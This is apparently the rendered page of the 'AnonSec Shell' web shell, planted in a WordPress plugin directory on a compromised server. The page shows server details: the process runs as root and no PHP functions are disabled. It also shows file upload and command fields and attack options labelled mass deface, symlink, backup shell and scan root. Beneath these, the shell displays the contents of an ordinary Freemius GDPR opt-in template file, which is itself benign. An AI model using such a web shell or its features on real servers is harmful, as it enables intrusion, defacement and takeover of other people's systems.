AnonSec Shell
Server IP : 172.67.157.199  /  Your IP : 18.118.151.12   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/cf7-styler/freemius/templates/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/cf7-styler/freemius/templates//gdpr-optin-js.php
<?php
	/**
	 * @package     Freemius
	 * @copyright   Copyright (c) 2015, Freemius, Inc.
	 * @license     https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License Version 3
	 * @since       2.1.0
	 */

	if ( ! defined( 'ABSPATH' ) ) {
		exit;
	}

    /**
     * @var array $VARS
     */
    $fs = freemius( $VARS['id'] );
?>
<script type="text/javascript">
    (function( $ ) {
        $( document ).ready(function() {
            var $gdprOptinNotice = $( 'div[data-id^="gdpr_optin_actions"]' );
            if ( 0 === $gdprOptinNotice.length ) {
                return;
            }

            $gdprOptinNotice.on( 'click', '.button', function() {
                var
                    $this          = $( this ),
                    allowMarketing = $this.hasClass( 'allow-marketing' ),
                    cursor         = $this.css( 'cursor' ),
                    $products      = $gdprOptinNotice.find( 'span[data-plugin-id]' ),
                    pluginIDs      = [],
                    ajaxUrl        = <?php echo Freemius::ajax_url() ?>;

                if ( $products.length > 0 ) {
                    $products.each(function() {
                        pluginIDs.push( $( this ).data( 'plugin-id' ) );
                    });
                }

                $.ajax({
                        url      : ajaxUrl + (ajaxUrl.includes('?') ? '&' : '?') + $.param({
                        action   : '<?php echo $fs->get_ajax_action( 'gdpr_optin_action' ) ?>',
                        security : '<?php echo $fs->get_ajax_security( 'gdpr_optin_action' ) ?>',
                        module_id: '<?php echo $fs->get_id() ?>'
                    }),
                    method    : 'POST',
                    data      : {
                        is_marketing_allowed: allowMarketing,
                        plugin_ids          : pluginIDs
                    },
                    beforeSend: function() {
                        $this.text( <?php fs_json_encode_echo_inline( 'Thanks, please wait', 'thanks-please-wait', $fs->get_slug() ) ?> + '...' );
                        $this.css({'cursor': 'wait'});

                        $gdprOptinNotice.find( '.button' ).addClass( 'disabled' );
                    },
                    complete  : function() {
                        $this.css({'cursor': cursor});

                        $gdprOptinNotice.remove();
                    }
                });
            });
        });
    })( jQuery );
</script>

Anon7 - 2022
AnonSec Team